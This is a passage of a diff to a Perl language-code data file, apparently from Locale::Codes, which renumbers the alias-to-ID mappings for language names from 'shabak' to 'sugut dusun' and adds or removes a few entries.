-      q(5932),
+      q(5931),
       q(0),
       ],
    q(shabak) => [
-      q(5935),
+      q(5934),
       q(0),
       ],
    q(shabo) => [
@@ -50267,23 +50217,23 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(1),
       ],
    q(shahmirzadi) => [
-      q(6218),
+      q(6219),
       q(0),
       ],
    q(shahrudi) => [
-      q(6012),
+      q(6011),
       q(0),
       ],
    q(shall-zwall) => [
-      q(6001),
+      q(6000),
       q(0),
       ],
    q(shama-sambuga) => [
-      q(6187),
+      q(6188),
       q(0),
       ],
    q(shamang) => [
-      q(7479),
+      q(7476),
       q(0),
       ],
    q(shambala) => [
@@ -50291,127 +50241,131 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(shan) => [
-      q(0380),
+      q(0379),
       q(0),
       ],
    q(shanenawa) => [
-      q(6299),
+      q(6300),
       q(0),
       ],
    q(shanga) => [
-      q(6013),
+      q(6012),
       q(0),
       ],
    q(shangzhai) => [
-      q(3095),
+      q(3093),
       q(1),
       ],
    q(sharanahua) => [
-      q(4148),
+      q(4147),
       q(0),
       ],
    q(shark bay) => [
-      q(6239),
+      q(6240),
       q(0),
       ],
    q(sharwa) => [
-      q(6301),
+      q(6302),
       q(0),
       ],
    q(shasta) => [
-      q(6018),
+      q(6017),
       q(0),
       ],
    q(shatt) => [
-      q(6009),
+      q(6008),
       q(0),
       ],
    q(shau) => [
-      q(6188),
+      q(6189),
       q(0),
       ],
    q(shawnee) => [
-      q(6061),
+      q(6060),
       q(0),
       ],
    q(she) => [
-      q(6022),
+      q(6021),
       q(0),
       ],
    q(shehri) => [
-      q(6020),
+      q(6019),
       q(0),
       ],
    q(shekhawati) => [
-      q(6306),
+      q(6307),
       q(0),
       ],
    q(shekkacho) => [
-      q(4447),
+      q(4446),
       q(0),
       ],
    q(sheko) => [
-      q(6005),
+      q(6004),
       q(0),
       ],
    q(shelta) => [
-      q(6249),
+      q(6250),
       q(0),
       ],
    q(shempire senoufo) => [
-      q(5955),
+      q(5954),
       q(0),
       ],
    q(shendu) => [
-      q(6011),
+      q(6010),
       q(0),
       ],
    q(sheni) => [
-      q(5931),
+      q(5930),
       q(0),
       ],
    q(sherbro) => [
-      q(1504),
+      q(1503),
       q(0),
       ],
    q(sherdukpen) => [
-      q(5947),
+      q(5946),
       q(0),
       ],
    q(sherpa) => [
-      q(7487),
+      q(7484),
       q(0),
       ],
    q(sheshi kham) => [
-      q(3365),
+      q(3364),
       q(0),
       ],
    q(shi) => [
-      q(6016),
+      q(6015),
       q(0),
       ],
    q(shihhi arabic) => [
-      q(6225),
+      q(6226),
       q(0),
       ],
    q(shiki) => [
-      q(2640),
+      q(2638),
       q(0),
       ],
    q(shilluk) => [
-      q(6010),
+      q(6009),
       q(0),
       ],
    q(shina) => [
       q(5925),
       q(0),
       ],
+   q(shinabo) => [
+      q(6130),
+      q(0),
+      ],
    q(shipibo-conibo) => [
-      q(6014),
+      q(6013),
       q(0),
       ],
    q(shixing) => [
-      q(6313),
+      q(6314),
       q(0),
       ],
    q(sholaga) => [
@@ -50419,55 +50373,55 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(shom peng) => [
-      q(6031),
+      q(6030),
       q(0),
       ],
    q(shona) => [
-      q(0395),
+      q(0394),
       q(0),
       ],
    q(shoo-minda-nye) => [
-      q(1086),
+      q(1085),
       q(0),
       ],
    q(shor) => [
-      q(1749),
+      q(1748),
       q(0),
       ],
    q(shoshoni) => [
-      q(6007),
+      q(6006),
       q(0),
       ],
    q(shua) => [
-      q(6006),
+      q(6005),
       q(0),
       ],
    q(shuadit) => [
-      q(5950),
+      q(5949),
       q(0),
       ],
    q(shuar) => [
-      q(3103),
+      q(3101),
       q(0),
       ],
    q(shubi) => [
-      q(6272),
+      q(6273),
       q(0),
       ],
    q(shughni) => [
-      q(5987),
+      q(5986),
       q(0),
       ],
    q(shumashti) => [
-      q(6260),
+      q(6261),
       q(0),
       ],
    q(shumcho) => [
-      q(5930),
+      q(5929),
       q(0),
       ],
    q(shuswap) => [
-      q(6017),
+      q(6016),
       q(0),
       ],
    q(shuwa-zamani) => [
@@ -50475,11 +50429,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(shwai) => [
-      q(6021),
+      q(6020),
       q(0),
       ],
    q(shwe palaung) => [
-      q(5492),
+      q(5488),
       q(0),
       ],
    q(sialum) => [
@@ -50487,107 +50441,107 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(siamou) => [
-      q(6028),
+      q(6027),
       q(0),
       ],
    q(sian) => [
-      q(6171),
+      q(6172),
       q(0),
       ],
    q(siane) => [
-      q(6136),
+      q(6137),
       q(0),
       ],
    q(siang) => [
-      q(6323),
+      q(6324),
       q(0),
       ],
    q(siar-lak) => [
-      q(6057),
+      q(6056),
       q(0),
       ],
    q(siawi) => [
-      q(4398),
+      q(4397),
       q(0),
       ],
    q(sibe) => [
-      q(4768),
+      q(4767),
       q(0),
       ],
    q(siberian tatar) => [
-      q(6265),
+      q(6266),
       q(0),
       ],
    q(sibu melanau) => [
-      q(5952),
+      q(5951),
       q(0),
       ],
    q(sicanian) => [
-      q(6311),
+      q(6312),
       q(0),
       ],
    q(sicel) => [
-      q(5933),
+      q(5932),
       q(0),
       ],
    q(sichuan yi) => [
-      q(0190),
+      q(0189),
       q(0),
       ],
    q(sicilian) => [
-      q(0374),
+      q(0373),
       q(0),
       ],
    q(sicite senoufo) => [
-      q(5967),
+      q(5966),
       q(0),
       ],
    q(siculo arabic) => [
-      q(6194),
+      q(6195),
       q(0),
       ],
    q(sidamo) => [
-      q(0381),
+      q(0380),
       q(0),
       ],
    q(sidetic) => [
-      q(7477),
+      q(7474),
       q(0),
       ],
    q(sie) => [
-      q(2278),
+      q(2277),
       q(0),
       ],
    q(sierra de juarez zapotec) => [
-      q(7790),
+      q(7787),
       q(0),
       ],
    q(sierra leone sign language) => [
-      q(5998),
+      q(5997),
       q(0),
       ],
    q(sierra negra nahuatl) => [
-      q(5078),
+      q(5074),
       q(0),
       ],
    q(sighu) => [
-      q(6312),
+      q(6313),
       q(0),
       ],
    q(sign languages) => [
-      q(0379),
+      q(0378),
       q(0),
       ],
    q(sihan) => [
-      q(6138),
+      q(6139),
       q(0),
       ],
    q(sihuas ancash quechua) => [
-      q(5710),
+      q(5708),
       q(0),
       ],
    q(sika) => [
-      q(6070),
+      q(6069),
       q(0),
       ],
    q(sikaiana) => [
@@ -50599,11 +50553,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(sikiana) => [
-      q(6033),
+      q(6032),
       q(0),
       ],
    q(sikkimese) => [
-      q(6036),
+      q(6035),
       q(0),
       ],
    q(siksika) => [
@@ -50611,7 +50565,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(sikule) => [
-      q(6069),
+      q(6068),
       q(0),
       ],
    q(sila) => [
@@ -50619,7 +50573,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(silacayoapan mixtec) => [
-      q(4353),
+      q(4352),
       q(0),
       ],
    q(sileibi) => [
@@ -50627,27 +50581,27 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(silesian) => [
-      q(6341),
+      q(6342),
       q(0),
       ],
    q(silimo) => [
-      q(7237),
+      q(7235),
       q(0),
       ],
    q(siliput) => [
-      q(4339),
+      q(4338),
       q(0),
       ],
    q(silopi) => [
-      q(7485),
+      q(7482),
       q(0),
       ],
    q(silt'e) => [
-      q(6263),
+      q(6264),
       q(0),
       ],
    q(simaa) => [
-      q(6027),
+      q(6026),
       q(0),
       ],
    q(simba) => [
@@ -50679,11 +50633,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(sinagen) => [
-      q(6040),
+      q(6039),
       q(0),
       ],
    q(sinasina) => [
-      q(6237),
+      q(6238),
       q(0),
       ],
    q(sinaugoro) => [
@@ -50691,11 +50645,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(sindarin) => [
-      q(6054),
+      q(6053),
       q(0),
       ],
    q(sindhi) => [
-      q(0396),
+      q(0395),
       q(0),
       ],
    q(sindhi bhil) => [
@@ -50703,11 +50657,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(sindihui mixtec) => [
-      q(7508),
+      q(7505),
       q(0),
       ],
    q(singa) => [
-      q(5991),
+      q(5990),
       q(0),
       ],
    q(singapore sign language) => [
@@ -50715,23 +50669,23 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(singpho) => [
-      q(5992),
+      q(5991),
       q(0),
       ],
    q(sinhala) => [
-      q(0382),
+      q(0381),
       q(0),
       ],
    q(sinhalese) => [
-      q(0382),
+      q(0381),
       q(1),
       ],
    q(sinicahua mixtec) => [
-      q(7499),
+      q(7496),
       q(0),
       ],
    q(sinicized miao) => [
-      q(2796),
+      q(2794),
       q(1),
       ],
    q(sininkere) => [
@@ -50739,71 +50693,71 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(sino-tibetan languages) => [
-      q(0384),
+      q(0383),
       q(0),
       ],
    q(sinsauru) => [
-      q(6145),
+      q(6146),
       q(0),
       ],
    q(sinte romani) => [
-      q(5808),
+      q(5807),
       q(0),
       ],
    q(sinyar) => [
-      q(6331),
+      q(6332),
       q(0),
       ],
    q(sio) => [
-      q(7480),
+      q(7477),
       q(0),
       ],
    q(siona) => [
-      q(6134),
+      q(6135),
       q(0),
       ],
    q(siouan languages) => [
-      q(0383),
+      q(0382),
       q(0),
       ],
    q(sipacapense) => [
-      q(5680),
+      q(5678),
       q(0),
       ],
    q(sira) => [
-      q(6294),
+      q(6295),
       q(0),
       ],
    q(siraya) => [
-      q(2366),
+      q(2365),
       q(0),
       ],
    q(sirenik yupik) => [
-      q(7739),
+      q(7736),
       q(0),
       ],
    q(siri) => [
-      q(6038),
+      q(6037),
       q(0),
       ],
    q(siriano) => [
-      q(6205),
+      q(6206),
       q(0),
       ],
    q(siriono) => [
-      q(6210),
+      q(6211),
       q(0),
       ],
    q(sirmauri) => [
-      q(6216),
+      q(6217),
       q(0),
       ],
    q(siroi) => [
-      q(6221),
+      q(6222),
       q(0),
       ],
    q(sishee) => [
-      q(6030),
+      q(6029),
       q(1),
       ],
    q(sissala) => [
@@ -50811,39 +50765,39 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(sissano) => [
-      q(6232),
+      q(6233),
       q(0),
       ],
    q(siuslaw) => [
-      q(6039),
+      q(6038),
       q(0),
       ],
    q(sivandi) => [
-      q(6044),
+      q(6043),
       q(0),
       ],
    q(siwai) => [
-      q(6042),
+      q(6041),
       q(0),
       ],
    q(siwi) => [
-      q(6045),
+      q(6044),
       q(0),
       ],
    q(siwu) => [
-      q(0735),
+      q(0734),
       q(0),
       ],
    q(siyin chin) => [
-      q(1881),
+      q(1880),
       q(0),
       ],
    q(skagit) => [
-      q(6062),
+      q(6061),
       q(0),
       ],
    q(skalvian) => [
-      q(6287),
+      q(6288),
       q(0),
       ],
    q(skepi creole dutch) => [
@@ -50851,7 +50805,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(skolt sami) => [
-      q(0394),
+      q(0393),
       q(0),
       ],
    q(skou) => [
@@ -50859,31 +50813,31 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(slave (athapascan)) => [
-      q(0108),
+      q(0107),
       q(0),
       ],
    q(slavic languages) => [
-      q(0385),
+      q(0384),
       q(0),
       ],
    q(slavomolisano) => [
-      q(6285),
+      q(6286),
       q(0),
       ],
    q(slovak) => [
-      q(0386),
+      q(0385),
       q(0),
       ],
    q(slovakian sign language) => [
-      q(6284),
+      q(6285),
       q(0),
       ],
    q(slovenian) => [
-      q(0387),
+      q(0386),
       q(0),
       ],
    q(small flowery miao) => [
-      q(5979),
+      q(5978),
       q(0),
       ],
    q(smarky kanum) => [
@@ -50891,67 +50845,67 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(snohomish) => [
-      q(6135),
+      q(6136),
       q(0),
       ],
    q(so) => [
-      q(6236),
+      q(6237),
       q(0),
       ],
    q(so (democratic republic of congo)) => [
-      q(6148),
+      q(6149),
       q(0),
       ],
    q(so'a) => [
-      q(6234),
+      q(6235),
       q(0),
       ],
    q(sobei) => [
-      q(6147),
+      q(6148),
       q(0),
       ],
    q(sochiapam chinantec) => [
-      q(1874),
+      q(1873),
       q(0),
       ],
    q(sochiapan chinantec) => [
-      q(1874),
+      q(1873),
       q(1),
       ],
    q(soga) => [
-      q(7433),
+      q(7430),
       q(0),
       ],
    q(sogdian) => [
-      q(0398),
+      q(0397),
       q(0),
       ],
    q(soi) => [
-      q(6153),
+      q(6154),
+      q(0),
+      ],
+   q(sok) => [
+      q(6071),
       q(0),
       ],
    q(sokoro) => [
-      q(6154),
+      q(6155),
       q(0),
       ],
    q(solano) => [
-      q(7484),
+      q(7481),
       q(0),
       ],
    q(soli) => [
       q(5916),
       q(0),
       ],
-   q(solomon islands sign language) => [
-      q(6344),
-      q(0),
-      ],
    q(solong) => [
-      q(0557),
+      q(0556),
       q(0),
       ],
    q(solos) => [
-      q(6155),
+      q(6156),
       q(0),
       ],
    q(som) => [
@@ -50959,15 +50913,15 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(somali) => [
-      q(0399),
+      q(0398),
       q(0),
       ],
    q(somba-siawari) => [
-      q(1323),
+      q(1322),
       q(0),
       ],
    q(somrai) => [
-      q(6159),
+      q(6160),
       q(0),
       ],
    q(somray) => [
@@ -50975,55 +50929,55 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(somyev) => [
-      q(3324),
+      q(3323),
       q(0),
       ],
    q(sonaga) => [
-      q(7734),
+      q(7731),
       q(0),
       ],
    q(sonde) => [
-      q(6003),
+      q(6002),
       q(0),
       ],
    q(songe) => [
-      q(6157),
+      q(6158),
       q(0),
       ],
    q(songhai languages) => [
-      q(0400),
+      q(0399),
       q(0),
       ],
    q(songlai chin) => [
-      q(1869),
+      q(1868),
       q(0),
       ],
    q(songo) => [
-      q(6156),
+      q(6157),
       q(0),
       ],
    q(songomeno) => [
-      q(6150),
+      q(6151),
       q(0),
       ],
    q(songoora) => [
-      q(6149),
+      q(6150),
       q(0),
       ],
    q(sonha) => [
-      q(6152),
+      q(6153),
       q(0),
       ],
    q(sonia) => [
-      q(6037),
+      q(6036),
       q(0),
       ],
    q(soninke) => [
-      q(0397),
+      q(0396),
       q(0),
       ],
    q(sonsorol) => [
-      q(6162),
+      q(6163),
       q(0),
       ],
    q(soo) => [
@@ -51031,19 +50985,19 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(sop) => [
-      q(6929),
+      q(6928),
       q(0),
       ],
    q(soqotri) => [
-      q(6196),
+      q(6197),
       q(0),
       ],
    q(sora) => [
-      q(6199),
+      q(6200),
       q(0),
       ],
    q(sorbian languages) => [
-      q(0468),
+      q(0467),
       q(0),
       ],
    q(sori-harengan) => [
@@ -51051,19 +51005,19 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(sorkhei) => [
-      q(6192),
+      q(6193),
       q(0),
       ],
    q(sorothaptic) => [
-      q(6318),
+      q(6319),
       q(0),
       ],
    q(sorsogon ayta) => [
-      q(1008),
+      q(1007),
       q(0),
       ],
    q(sos kundi) => [
-      q(5942),
+      q(5941),
       q(0),
       ],
    q(sota kanum) => [
@@ -51071,11 +51025,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(sotho, southern) => [
-      q(0401),
+      q(0400),
       q(0),
       ],
    q(sou) => [
-      q(6193),
+      q(6194),
       q(0),
       ],
    q(sou nama) => [
@@ -51083,35 +51037,35 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(sou upaa) => [
-      q(7109),
+      q(7107),
       q(0),
       ],
    q(south african sign language) => [
-      q(5980),
+      q(5979),
       q(0),
       ],
    q(south american indian (other)) => [
-      q(0368),
+      q(0367),
       q(0),
       ],
    q(south american indian languages) => [
-      q(0368),
+      q(0367),
       q(1),
       ],
    q(south awyu) => [
-      q(0979),
+      q(0978),
       q(0),
       ],
    q(south azerbaijani) => [
-      q(1014),
+      q(1013),
       q(0),
       ],
    q(south bolivian quechua) => [
-      q(5676),
+      q(5674),
       q(0),
       ],
    q(south caucasian languages) => [
-      q(0497),
+      q(0496),
       q(0),
       ],
    q(south central banda) => [
@@ -51119,19 +51073,19 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(south central dinka) => [
-      q(2030),
+      q(2029),
       q(0),
       ],
    q(south efate) => [
-      q(2281),
+      q(2280),
       q(0),
       ],
    q(south fali) => [
-      q(2328),
+      q(2327),
       q(0),
       ],
    q(south giziga) => [
-      q(2528),
+      q(2526),
       q(0),
       ],
    q(south lembata) => [
@@ -51139,11 +51093,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(south levantine arabic) => [
-      q(0718),
+      q(0717),
       q(0),
       ],
    q(south marquesan) => [
-      q(4485),
+      q(4484),
       q(0),
       ],
    q(south muyu) => [
@@ -51151,39 +51105,39 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(south ndebele) => [
-      q(0304),
+      q(0303),
       q(1),
       ],
    q(south nuaulu) => [
-      q(5143),
+      q(5139),
       q(0),
       ],
    q(south picene) => [
-      q(6185),
+      q(6186),
       q(0),
       ],
    q(south slavey) => [
-      q(7481),
+      q(7478),
       q(0),
       ],
    q(south slavic languages) => [
-      q(0536),
+      q(0535),
       q(0),
       ],
    q(south tairora) => [
-      q(5260),
+      q(5256),
       q(0),
       ],
    q(south ucayali asheninka) => [
-      q(1837),
+      q(1836),
       q(0),
       ],
    q(south watut) => [
-      q(4169),
+      q(4168),
       q(0),
       ],
    q(south west bay) => [
-      q(6139),
+      q(6140),
       q(0),
       ],
    q(southeast ambrym) => [
@@ -51191,43 +51145,43 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(southeast babar) => [
-      q(6971),
+      q(6970),
       q(0),
       ],
    q(southeast ijo) => [
-      q(2935),
+      q(2932),
       q(0),
       ],
    q(southeast pashai) => [
-      q(5607),
+      q(5604),
       q(0),
       ],
    q(southeast pashayi) => [
-      q(5607),
+      q(5604),
       q(1),
       ],
    q(southeastern dinka) => [
-      q(2070),
+      q(2069),
       q(0),
       ],
    q(southeastern ixtlan zapotec) => [
-      q(7902),
+      q(7899),
       q(0),
       ],
    q(southeastern kolami) => [
-      q(4892),
+      q(4890),
       q(0),
       ],
    q(southeastern nochixtlan mixtec) => [
-      q(4664),
+      q(4663),
       q(0),
       ],
    q(southeastern pomo) => [
-      q(5557),
+      q(5553),
       q(0),
       ],
    q(southeastern puebla nahuatl) => [
-      q(5030),
+      q(5028),
       q(0),
       ],
    q(southeastern tarahumara) => [
@@ -51235,11 +51189,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(southeastern tepehuan) => [
-      q(6257),
+      q(6258),
       q(0),
       ],
    q(southern alta) => [
-      q(0676),
+      q(0675),
       q(0),
       ],
    q(southern altai) => [
@@ -51247,99 +51201,95 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(southern amami-oshima) => [
-      q(0783),
+      q(0782),
       q(0),
       ],
    q(southern aymara) => [
-      q(0995),
+      q(0994),
       q(0),
       ],
    q(southern bai) => [
-      q(1155),
+      q(1154),
       q(0),
       ],
    q(southern balochi) => [
-      q(1067),
+      q(1066),
       q(0),
       ],
    q(southern betsimisaraka malagasy) => [
-      q(1614),
+      q(1613),
       q(0),
       ],
    q(southern binukidnon) => [
-      q(4570),
+      q(4569),
       q(0),
       ],
    q(southern birifor) => [
-      q(1226),
+      q(1225),
       q(0),
       ],
    q(southern bobo madare) => [
-      q(1557),
+      q(1556),
       q(0),
       ],
    q(southern bontok) => [
-      q(5185),
+      q(5181),
       q(0),
       ],
    q(southern carrier) => [
-      q(1642),
+      q(1641),
       q(0),
       ],
    q(southern catanduanes bikol) => [
-      q(1291),
+      q(1290),
       q(0),
       ],
    q(southern conchucos ancash quechua) => [
-      q(5717),
+      q(5715),
       q(0),
       ],
    q(southern dagaare) => [
-      q(1998),
+      q(1997),
       q(0),
       ],
    q(southern dong) => [
-      q(3453),
+      q(3452),
       q(0),
       ],
    q(southern east cree) => [
-      q(1846),
+      q(1845),
       q(0),
       ],
    q(southern ghale) => [
-      q(2501),
+      q(2500),
       q(0),
       ],
    q(southern grebo) => [
-      q(2617),
+      q(2615),
       q(0),
       ],
    q(southern guiyang hmong) => [
-      q(2795),
+      q(2793),
       q(0),
       ],
    q(southern guiyang miao) => [
-      q(2795),
+      q(2793),
       q(1),
       ],
    q(southern haida) => [
-      q(2726),
+      q(2724),
       q(0),
       ],
    q(southern hindko) => [
-      q(2798),
+      q(2796),
       q(0),
       ],
    q(southern kalapuya) => [
-      q(6314),
+      q(6315),
       q(0),
       ],
    q(southern kalinga) => [
-      q(3591),
-      q(0),
-      ],
-   q(southern katang) => [
-      q(5929),
+      q(3591),
       q(0),
       ],
    q(southern kisi) => [
@@ -51347,91 +51297,91 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(southern kiwai) => [
-      q(3378),
+      q(3377),
       q(0),
       ],
    q(southern kurdish) => [
-      q(5940),
+      q(5939),
       q(0),
       ],
    q(southern lolopo) => [
-      q(7738),
+      q(7735),
       q(0),
       ],
    q(southern luri) => [
-      q(4085),
+      q(4084),
       q(0),
       ],
    q(southern ma'di) => [
-      q(6133),
+      q(6134),
       q(0),
       ],
    q(southern mashan hmong) => [
-      q(2774),
+      q(2772),
       q(0),
       ],
    q(southern mashan miao) => [
-      q(2774),
+      q(2772),
       q(1),
       ],
    q(southern mnong) => [
-      q(4419),
+      q(4418),
       q(0),
       ],
    q(southern muji) => [
-      q(7674),
+      q(7671),
       q(0),
       ],
    q(southern nago) => [
-      q(5037),
+      q(5034),
       q(0),
       ],
    q(southern nambikuara) => [
-      q(4713),
+      q(4712),
       q(0),
       ],
    q(southern ngbandi) => [
-      q(4752),
+      q(4751),
       q(0),
       ],
    q(southern nicobarese) => [
-      q(4884),
+      q(4882),
       q(0),
       ],
    q(southern nisu) => [
-      q(5063),
+      q(5059),
       q(0),
       ],
    q(southern nuni) => [
-      q(5002),
+      q(5000),
       q(0),
       ],
    q(southern ohlone) => [
-      q(1877),
+      q(1876),
       q(0),
       ],
    q(southern one) => [
-      q(5310),
+      q(5306),
       q(0),
       ],
    q(southern pame) => [
-      q(5525),
+      q(5521),
       q(0),
       ],
    q(southern pashto) => [
-      q(5373),
+      q(5369),
       q(0),
       ],
    q(southern pastaza quechua) => [
-      q(5682),
+      q(5680),
       q(0),
       ],
    q(southern pomo) => [
-      q(5413),
+      q(5409),
       q(0),
       ],
    q(southern puebla mixtec) => [
-      q(4307),
+      q(4306),
       q(0),
       ],
    q(southern puget sound salish) => [
@@ -51439,35 +51389,35 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(southern pumi) => [
-      q(5512),
+      q(5508),
       q(0),
       ],
    q(southern qiandong miao) => [
-      q(2790),
+      q(2788),
       q(0),
       ],
    q(southern qiang) => [
-      q(5721),
+      q(5719),
       q(0),
       ],
    q(southern rengma naga) => [
-      q(5047),
+      q(5043),
       q(0),
       ],
    q(southern rincon zapotec) => [
-      q(7936),
+      q(7933),
       q(0),
       ],
    q(southern roglai) => [
-      q(5773),
+      q(5771),
       q(0),
       ],
    q(southern sama) => [
-      q(6219),
+      q(6220),
       q(0),
       ],
    q(southern sami) => [
-      q(0388),
+      q(0387),
       q(0),
       ],
    q(southern samo) => [
@@ -51475,15 +51425,15 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(southern sierra miwok) => [
-      q(6065),
+      q(6064),
       q(0),
       ],
    q(southern sorsoganon) => [
-      q(6214),
+      q(6215),
       q(0),
       ],
    q(southern sotho) => [
-      q(0401),
+      q(0400),
       q(1),
       ],
    q(southern subanen) => [
@@ -51491,11 +51441,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(southern thai) => [
-      q(6161),
+      q(6162),
       q(0),
       ],
    q(southern tidung) => [
-      q(3009),
+      q(3006),
       q(0),
       ],
    q(southern tiwa) => [
@@ -51503,7 +51453,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(southern toussian) => [
-      q(7113),
+      q(7111),
       q(0),
       ],
    q(southern tujia) => [
@@ -51515,7 +51465,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(southern uzbek) => [
-      q(6954),
+      q(6953),
       q(0),
       ],
    q(southern yamphu) => [
@@ -51523,55 +51473,55 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(southern yukaghir) => [
-      q(7765),
+      q(7762),
       q(0),
       ],
    q(southwest gbaya) => [
-      q(2635),
+      q(2633),
       q(0),
       ],
    q(southwest palawano) => [
-      q(5501),
+      q(5497),
       q(0),
       ],
    q(southwest pashai) => [
-      q(5606),
+      q(5603),
       q(0),
       ],
    q(southwest pashayi) => [
-      q(5606),
+      q(5603),
       q(1),
       ],
    q(southwest tanna) => [
-      q(5131),
+      q(5127),
       q(0),
       ],
    q(southwestern bontok) => [
-      q(6972),
+      q(6971),
       q(0),
       ],
    q(southwestern dinka) => [
-      q(2038),
+      q(2037),
       q(0),
       ],
    q(southwestern fars) => [
-      q(2334),
+      q(2333),
       q(0),
       ],
    q(southwestern guiyang hmong) => [
-      q(2780),
+      q(2778),
       q(0),
       ],
    q(southwestern huishui hmong) => [
-      q(2781),
+      q(2779),
       q(0),
       ],
    q(southwestern huishui miao) => [
-      q(2781),
+      q(2779),
       q(1),
       ],
    q(southwestern nisu) => [
-      q(5079),
+      q(5075),
       q(0),
       ],
    q(southwestern tarahumara) => [
@@ -51583,51 +51533,51 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(southwestern tlaxiaco mixtec) => [
-      q(4200),
+      q(4199),
       q(0),
       ],
    q(sowa) => [
-      q(6307),
+      q(6308),
       q(0),
       ],
    q(sowanda) => [
-      q(6163),
+      q(6164),
       q(0),
       ],
    q(sowari) => [
-      q(2092),
+      q(2091),
       q(1),
       ],
    q(soyaltepec mazatec) => [
-      q(7016),
+      q(7015),
       q(0),
       ],
    q(soyaltepec mixtec) => [
-      q(7017),
+      q(7016),
       q(0),
       ],
    q(spanish) => [
-      q(0402),
+      q(0401),
       q(0),
       ],
    q(spanish sign language) => [
-      q(6233),
+      q(6234),
       q(0),
       ],
    q(spiti bhoti) => [
-      q(6182),
+      q(6183),
       q(0),
       ],
    q(spokane) => [
-      q(6177),
+      q(6178),
       q(0),
       ],
    q(squamish) => [
-      q(6197),
+      q(6198),
       q(0),
       ],
    q(sranan tongo) => [
-      q(0404),
+      q(0403),
       q(0),
       ],
    q(sri lankan creole malay) => [
@@ -51635,31 +51585,31 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(sri lankan sign language) => [
-      q(6195),
+      q(6196),
       q(0),
       ],
    q(standard arabic) => [
-      q(0869),
+      q(0868),
       q(0),
       ],
    q(standard estonian) => [
-      q(2232),
+      q(2231),
       q(0),
       ],
    q(standard latvian) => [
-      q(4088),
+      q(4087),
       q(0),
       ],
    q(standard malay) => [
-      q(7935),
+      q(7932),
       q(0),
       ],
    q(standard moroccan tamazight) => [
-      q(0481),
+      q(0480),
       q(0),
       ],
    q(stellingwerfs) => [
-      q(6253),
+      q(6254),
       q(0),
       ],
    q(stod bhoti) => [
@@ -51667,35 +51617,35 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(stodsde) => [
-      q(3095),
+      q(3093),
       q(0),
       ],
    q(stoney) => [
-      q(6256),
+      q(6257),
       q(0),
       ],
    q(straits salish) => [
-      q(6259),
+      q(6260),
       q(0),
       ],
    q(suabo) => [
-      q(6343),
+      q(6344),
       q(0),
       ],
    q(suarmin) => [
-      q(5966),
+      q(5965),
       q(0),
       ],
    q(suau) => [
-      q(6300),
+      q(6301),
       q(0),
       ],
    q(suba) => [
-      q(6310),
+      q(6311),
       q(0),
       ],
    q(suba-simbiti) => [
-      q(6220),
+      q(6221),
       q(0),
       ],
    q(subiya) => [
@@ -51703,15 +51653,15 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(subtiaba) => [
-      q(6275),
+      q(6276),
       q(0),
       ],
    q(sudanese arabic) => [
-      q(0837),
+      q(0836),
       q(0),
       ],
    q(sudanese creole arabic) => [
-      q(5422),
+      q(5418),
       q(0),
       ],
    q(sudest) => [
@@ -51719,19 +51669,19 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(sudovian) => [
-      q(7490),
+      q(7487),
       q(0),
       ],
    q(suena) => [
-      q(6269),
+      q(6270),
       q(0),
       ],
    q(suga) => [
-      q(5988),
+      q(5987),
       q(0),
       ],
    q(suganga) => [
-      q(6270),
+      q(6271),
       q(0),
       ],
    q(sugut dusun) => [
